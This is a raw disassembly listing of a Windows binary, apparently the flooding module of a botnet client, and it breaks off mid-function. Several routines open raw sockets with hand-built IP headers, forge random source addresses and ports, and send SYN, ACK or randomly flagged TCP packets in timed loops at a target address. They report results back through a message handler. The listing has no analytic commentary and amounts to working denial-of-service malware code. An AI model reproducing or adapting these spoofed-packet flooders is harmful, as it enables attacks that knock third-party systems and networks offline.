arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CDBD4 ; WSAStartup
test eax, eax
jz short loc_413EC8
xor eax, eax
jmp loc_41410C
; ---------------------------------------------------------------------------
loc_413EC8: ; CODE XREF: sub_413E88+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CDD08 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_414104
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CDC44 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4140FA
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CDC64 ; ntohs
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CDC64 ; ntohs
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CDC64 ; ntohs
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CDC64 ; ntohs
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call dword_428138 ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call dword_428134 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41DA80
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_413FB3: ; CODE XREF: sub_413E88+25Dj
; sub_413E88+269j
mov [ebp+var_24], bx
call sub_41C0B2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CDC64 ; ntohs
mov [ebp+var_34], ax
call sub_41C0B2
mov edi, eax
shl edi, 10h
call sub_41C0B2
or edi, eax
push edi
call dword_4CDC64 ; ntohs
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CDC60 ; ntohl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CDC64 ; ntohs
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41CAE0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call near ptr sub_41CAE0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AB6D
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41CAE0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41CAE0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BD60
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AB6D
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41CAE0
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CDCC8 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_414110
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call dword_428134 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_4140F7
jl loc_413FB3
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jb loc_413FB3
loc_4140F7: ; CODE XREF: sub_413E88+25Bj
mov ebx, [ebp+arg_8]
loc_4140FA: ; CODE XREF: sub_413E88+78j
; sub_413E88+2AFj
push [ebp+var_C]
call dword_4CDCFC ; closesocket
pop esi
loc_414104: ; CODE XREF: sub_413E88+5Bj
call dword_4CDBBC ; WSACleanup
mov eax, ebx
loc_41410C: ; CODE XREF: sub_413E88+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_414110: ; CODE XREF: sub_413E88+247j
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset unk_4389E4
push eax
call sub_41C056
lea eax, [ebp+var_F4]
push eax
call sub_4157A5
add esp, 10h
jmp short loc_4140FA
sub_413E88 endp
; =============== S U B R O U T I N E =======================================
sub_414139 proc near ; CODE XREF: sub_413DEC+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AA04
push [esp+10h+arg_4]
mov esi, eax
call sub_41BF49
push [esp+14h+arg_8]
mov ebx, eax
call sub_41BF49
mov edi, eax
call sub_41C0B2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_413E88
add esp, 1Ch
test eax, eax
jnz short loc_414182
inc eax
loc_414182: ; CODE XREF: sub_414139+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_414139 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414191 proc near ; DATA XREF: sub_401B66+6CCBo
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41BF49
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CDCA4 ; inet_addr
push eax
call sub_414232
push eax
lea eax, [ebp+var_394]
push offset dword_438A04
push eax
call sub_41C056
xor esi, esi
add esp, 14h
cmp [ebp+var_8], esi
jnz short loc_414213
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_409982
add esp, 14h
loc_414213: ; CODE XREF: sub_414191+60j
lea eax, [ebp+var_394]
push eax
call sub_4157A5
push [ebp+var_10]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
pop edi
pop esi
sub_414191 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414232 proc near ; CODE XREF: sub_414191+41p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 98h
push ebx
push esi
push edi
and [ebp+var_88], 0
push 4
and [ebp+var_58], 0
pop esi
xor ecx, ecx
push 6
inc ecx
pop edx
mov ebx, 0FFh
xor eax, eax
lea edi, [ebp+var_54]
mov [ebp+var_84], ecx
mov [ebp+var_80], 2
mov [ebp+var_7C], esi
mov [ebp+var_78], edx
mov [ebp+var_74], 8
mov [ebp+var_70], 0Ch
mov [ebp+var_6C], 11h
mov [ebp+var_68], 16h
mov [ebp+var_64], 29h
mov [ebp+var_60], 3Ah
mov [ebp+var_5C], ebx
mov [ebp+var_50], eax
stosd
lea edi, [ebp+var_2C]
mov [ebp+var_4C], eax
mov [ebp+var_48], eax
mov [ebp+var_44], 2000h
mov [ebp+var_40], esi
mov [ebp+var_3C], edx
mov [ebp+var_38], 3FFFh
mov [ebp+var_34], ecx
mov [ebp+var_30], eax
mov [ebp+var_28], ecx
stosd
mov edi, 100h
push edi
call sub_41D795
pop ecx
mov [ebp+var_4], eax
push edi
push eax
call dword_4CDC78 ; gethostname
push [ebp+var_4]
call dword_4CDCE8 ; gethostbyname
mov eax, [eax+0Ch]
push ebx
push 3
push 2
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
call dword_4CDCE4 ; socket
lea ecx, [ebp+var_28]
push esi
push ecx
push 2
push 0
push eax
mov [ebp+var_4], eax
call dword_4CDC44 ; setsockopt
mov esi, 200h
push esi
call sub_41BCA5
mov edi, dword_4280A8
pop ecx
mov [ebp+var_8], eax
call edi ; GetTickCount
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
push 29Ah
mov [ebp+var_94], eax
mov [ebp+var_98], 2
call dword_4CDC64 ; ntohs
mov [ebp+var_96], ax
jmp loc_41441C
; ---------------------------------------------------------------------------
loc_414352: ; CODE XREF: sub_414232+1FBj
call sub_41C0B2
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+var_C], edx
call sub_41C0B2
cdq
mov ecx, ebx
idiv ecx
mov [ebp+var_54], edx
call sub_41C0B2
cdq
mov ecx, 1FA4h
mov [ebp+var_24], 45h
idiv ecx
mov [ebp+var_23], 4
mov [ebp+var_2C], edx
call sub_41C0B2
mov [ebp+var_20], ax
call sub_41C0B2
push 0Ah
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_50]
push eax
call dword_4CDC64 ; ntohs
push esi
mov [ebp+var_1E], ax
call dword_4CDC64 ; ntohs
mov [ebp+var_22], ax
mov [ebp+var_1C], bl
call sub_41C0B2
push 0Eh
cdq
pop ecx
idiv ecx
push 14h
mov al, byte ptr [ebp+edx*4+var_88]
mov [ebp+var_1B], al
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
lea eax, [ebp+var_24]
push eax
call sub_40AB6D
mov [ebp+var_1A], ax
lea eax, [ebp+var_24]
push 14h
push eax
push [ebp+var_8]
call near ptr sub_41CAE0
add esp, 14h
lea eax, [ebp+var_98]
push 10h
push eax
push 0
push esi
push [ebp+var_8]
push [ebp+var_4]
call dword_4CDCC8 ; sendto
loc_41441C: ; CODE XREF: sub_414232+11Bj
call edi ; GetTickCount
sub eax, [ebp+var_10]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+arg_4]
jbe loc_414352
push [ebp+var_8]
call sub_41B881
pop ecx
push [ebp+var_4]
call dword_4CDCFC ; closesocket
xor eax, eax
pop edi
pop esi
inc eax
pop ebx
leave
retn
sub_414232 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41444D proc near ; DATA XREF: sub_401B66+5306o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
xor esi, esi
push 0Eh
inc esi
xor ebx, ebx
mov [eax+19Ch], esi
pop ecx
xor eax, eax
lea edi, [ebp+var_9F]
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_4280A8
call edi ; GetTickCount
push eax
call sub_41C0A8
pop ecx
push 0FFh
push 3
push 2
call dword_4CDCE4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_414516
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset unk_438B20
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_4144F6
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409982
add esp, 14h
loc_4144F6: ; CODE XREF: sub_41444D+84j
lea eax, [ebp+var_440]
push eax
call sub_4157A5
push [ebp+var_BC]
call sub_40B2A3
pop ecx
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_414516: ; CODE XREF: sub_41444D+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_4CDC44 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_414594
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset unk_438AE8
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_414574
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409982
add esp, 14h
loc_414574: ; CODE XREF: sub_41444D+102j
lea eax, [ebp+var_440]
push eax
call sub_4157A5
push [ebp+var_BC]
call sub_40B2A3
pop ecx
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_414594: ; CODE XREF: sub_41444D+DFj
lea eax, [ebp+var_23C]
push eax
call dword_4CDCA4 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_414604
lea eax, [ebp+var_440]
push offset unk_438AC8
push eax
call sub_41C056
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_4145E4
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409982
add esp, 14h
loc_4145E4: ; CODE XREF: sub_41444D+172j
lea eax, [ebp+var_440]
push eax
call sub_4157A5
push [ebp+var_BC]
call sub_40B2A3
pop ecx
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_414604: ; CODE XREF: sub_41444D+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_4CDC64 ; ntohs
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_4CDCA4 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
jmp loc_41486C
; ---------------------------------------------------------------------------
loc_414641: ; CODE XREF: sub_41444D+433j
push 28h
mov [ebp+var_2C], 45h
call dword_4CDC64 ; ntohs
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_41469A
call sub_41C0B2
mov esi, eax
shl esi, 8
call sub_41C0B2
add esi, eax
shl esi, 8
call sub_41C0B2
add esi, eax
shl esi, 8
call sub_41C0B2
add esi, eax
mov [ebp+var_20], esi
xor esi, esi
inc esi
jmp short loc_4146B0
; ---------------------------------------------------------------------------
loc_41469A: ; CODE XREF: sub_41444D+21Ej
push [ebp+var_240]
call sub_40AB14
pop ecx
push eax
call dword_4CDCA4 ; inet_addr
mov [ebp+var_20], eax
loc_4146B0: ; CODE XREF: sub_41444D+24Bj
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_4146CE
call sub_41C0B2
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_4146D4
; ---------------------------------------------------------------------------
loc_4146CE: ; CODE XREF: sub_41444D+26Fj
push [ebp+var_B8]
loc_4146D4: ; CODE XREF: sub_41444D+27Fj
call dword_4CDC64 ; ntohs
mov [ebp+var_16], ax
call sub_41C0B2
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CDC64 ; ntohs
push 12345678h
mov [ebp+var_18], ax
call dword_4CDC60 ; ntohl
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_414724
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_414780
; ---------------------------------------------------------------------------
loc_414724: ; CODE XREF: sub_41444D+2CCj
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_414744
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_414780
; ---------------------------------------------------------------------------
loc_414744: ; CODE XREF: sub_41444D+2ECj
lea eax, [ebp+var_1BC]
push offset aRandom_0 ; "random"
push eax
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_414780
call sub_41C0B2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_41C0B2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_414780: ; CODE XREF: sub_41444D+2D5j
; sub_41444D+2F5j ...
push 200h
mov [ebp+var_C], 50h
call dword_4CDC64 ; ntohs
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_4CDC64 ; ntohs
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41CAE0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call near ptr sub_41CAE0
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40AB6D
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41CAE0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call near ptr sub_41CAE0
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_41BD60
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40AB6D
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41CAE0
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_4CDCC8 ; sendto
cmp eax, 0FFFFFFFFh
jz loc_414917
inc [ebp+arg_0]
loc_41486C: ; CODE XREF: sub_41444D+1EFj
call edi ; GetTickCount
sub eax, [ebp+var_30]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_B4]
jbe loc_414641
push [ebp+var_4]
call dword_4CDCFC ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset unk_438A78
push eax
call sub_41C056
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_4148F7
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409982
add esp, 14h
loc_4148F7: ; CODE XREF: sub_41444D+485j
lea eax, [ebp+var_440]
push eax
call sub_4157A5
push [ebp+var_BC]
call sub_40B2A3
pop ecx
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_414917: ; CODE XREF: sub_41444D+416j
push [ebp+var_4]
call dword_4CDCFC ; closesocket
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset unk_438A28
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41C150
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_414975
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409982
add esp, 14h
loc_414975: ; CODE XREF: sub_41444D+503j
lea eax, [ebp+var_440]
push eax
call sub_4157A5
push [ebp+var_BC]
call sub_40B2A3
pop ecx
pop ecx
push ebx
call dword_4280CC ; ExitThread
sub_41444D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414995 proc near ; CODE XREF: sub_414A9E+196p
; sub_414A9E+1FFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp ecx, 1
mov [ebp+arg_4], esi
jle short loc_4149C3
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
lea edi, [eax+eax]
sub ecx, edi
loc_4149B5: ; CODE XREF: sub_414995+28j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec eax
jnz short loc_4149B5
pop edi
cmp ecx, 1
loc_4149C3: ; CODE XREF: sub_414995+12j
jnz short loc_4149D0
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_4149D0: ; CODE XREF: sub_414995:loc_4149C3j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
sub_414995 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4149E9 proc near ; DATA XREF: sub_401B66+6BFAo
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41BF49
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CDCA4 ; inet_addr
push eax
lea esi, [ebp+var_194]
sub esp, 194h
push 65h
pop ecx
mov edi, esp
rep movsd
call sub_414A9E
push eax
lea eax, [ebp+var_394]
push offset unk_438B54
push eax
call sub_41C056
xor esi, esi
add esp, 1A8h
cmp [ebp+var_8], esi
jnz short loc_414A81
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_409982
add esp, 14h
loc_414A81: ; CODE XREF: sub_4149E9+76j
lea eax, [ebp+var_394]
push eax
call sub_4157A5
push [ebp+var_10]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
sub_4149E9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414A9E proc near ; CODE XREF: sub_4149E9+54p
var_C8 = byte ptr -0C8h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_9E = word ptr -9Eh
var_9C = byte ptr -9Ch
var_88 = byte ptr -88h
var_74 = word ptr -74h
var_72 = word ptr -72h
var_70 = dword ptr -70h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_5F = byte ptr -5Fh
var_5E = byte ptr -5Eh
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_4E = word ptr -4Eh
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = word ptr -46h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_24 = byte ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_194 = dword ptr 19Ch
arg_198 = dword ptr 1A0h
push ebp
mov ebp, esp
sub esp, 0C8h
and [ebp+var_4], 0
push ebx
push esi
mov esi, dword_4280A8
push edi
call esi ; GetTickCount
push 0FFh
push 3
push 2
mov [ebp+var_C], eax
call dword_4CDCE4 ; socket
mov [ebp+var_8], eax
call esi ; GetTickCount
push eax
call sub_41C0A8
pop ecx
mov ebx, 578h
push ebx
push 9
push 1
call sub_418E56
pop ecx
pop ecx
push eax
lea eax, [ebp+var_24]
push eax
call sub_41BD60
add esp, 0Ch
mov esi, 5A0h
loc_414AF7: ; CODE XREF: sub_414A9E+224j
call dword_4280A8 ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
ja loc_414CC7
cmp dword_4D14F4, 0
jnz short loc_414B76
push 10h
pop eax
mov [ebp+var_10], eax
push eax
lea eax, [ebp+var_64]
push 0
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_64]
push eax
push [ebp+arg_0]
call dword_4CDC08 ; getsockname
push 0FFh
push 1
call sub_418E56
push eax
movzx eax, [ebp+var_5E]
push eax
movzx eax, [ebp+var_5F]
push eax
movzx eax, [ebp+var_60]
push eax
lea eax, [ebp+var_C8]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_41C056
add esp, 20h
jmp short loc_414B89
; ---------------------------------------------------------------------------
loc_414B76: ; CODE XREF: sub_414A9E+7Ej
lea eax, [ebp+var_C8]
push offset dword_4D0ED8
push eax
call sub_41C680
pop ecx
pop ecx
loc_414B89: ; CODE XREF: sub_414A9E+D6j
lea eax, [ebp+var_C8]
push eax
call dword_4CDCA4 ; inet_addr
mov edi, eax
mov eax, [ebp+var_54]
and al, 45h
push esi
or al, 45h
mov [ebp+var_50], 10h
mov [ebp+var_54], eax
call dword_4CDC64 ; ntohs
mov [ebp+var_4E], ax
call sub_41C0B2
and [ebp+var_46], 0
mov [ebp+var_4C], ax
mov eax, [ebp+arg_194]
mov [ebp+var_4A], 40h
mov [ebp+var_48], 40h
mov [ebp+var_47], 6
mov [ebp+var_44], edi
mov [ebp+var_40], eax
call sub_41C0B2
mov [ebp+var_3C], ax
call sub_41C0B2
mov [ebp+var_3A], ax
call sub_41C0B2
mov [ebp+var_38], eax
call sub_41C0B2
mov [ebp+var_34], eax
mov eax, [ebp+var_30]
and al, 50h
mov edi, [ebp+var_40]
or al, 50h
and [ebp+var_2A], 0
and [ebp+var_28], 0
mov word ptr [ebp+var_30], ax
mov ax, [ebp+var_3A]
push 14h
mov [ebp+var_72], ax
lea eax, [ebp+var_54]
push eax
mov byte ptr [ebp+var_30+2], 18h
mov [ebp+var_2C], 787Dh
mov [ebp+var_74], 2
mov [ebp+var_70], edi
call sub_414995
and [ebp+var_A0], 0
pop ecx
pop ecx
mov [ebp+var_46], ax
mov eax, [ebp+var_44]
push 58Ch
mov [ebp+var_A8], eax
mov [ebp+var_A4], edi
